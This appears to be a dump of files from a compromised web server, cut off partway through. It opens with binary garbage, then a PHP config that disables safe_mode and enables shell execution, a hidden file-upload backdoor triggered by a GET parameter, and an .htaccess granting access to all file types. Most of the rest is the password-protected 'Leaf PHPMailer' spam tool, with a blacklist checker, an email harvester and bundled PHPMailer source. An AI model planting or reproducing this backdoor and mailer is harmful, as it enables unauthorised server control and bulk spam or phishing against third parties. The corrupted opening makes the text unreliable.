qX wP-˷[)Ϸn%|أO'9n7`2CbvhcdqseynPM
MfƭO+1ꙔA2Zftqkhwxugl~w҉eZ]Zbvhcdqseynfx6{(wMQ	:)MM$ACPxnftqkhwxuglvՂ *X`Fw؄?Cؙ`rڴRZUh~^̫1k }|Rp3``UyG%Vbvhcdqseyni}8C2mʦmӻBftqkhwxuglUݵޙo)#*Ne6@ֺ:ew*9hk'OD,~9++_
jU!M]2Cʇ^ pJ5Jx{dw=^;cvW08P;t%ȴ23w[T{¥	!X\r&{"7lL./l}7X.y~fʑRu]Y|QmVcrN^i]@*\XwQ9O_b&5FN	.QftqkhwxuglD3ftqkhwxuglUx{ |;&!?st-Vu;LA3qr1Fwe$KsS%E-裲8"R$ʵq8ாpzSJn:|J{i5 |bxGDgҽXAթ`!M
pT.6mV?"_Lsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "UrRIDnFdi9K";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
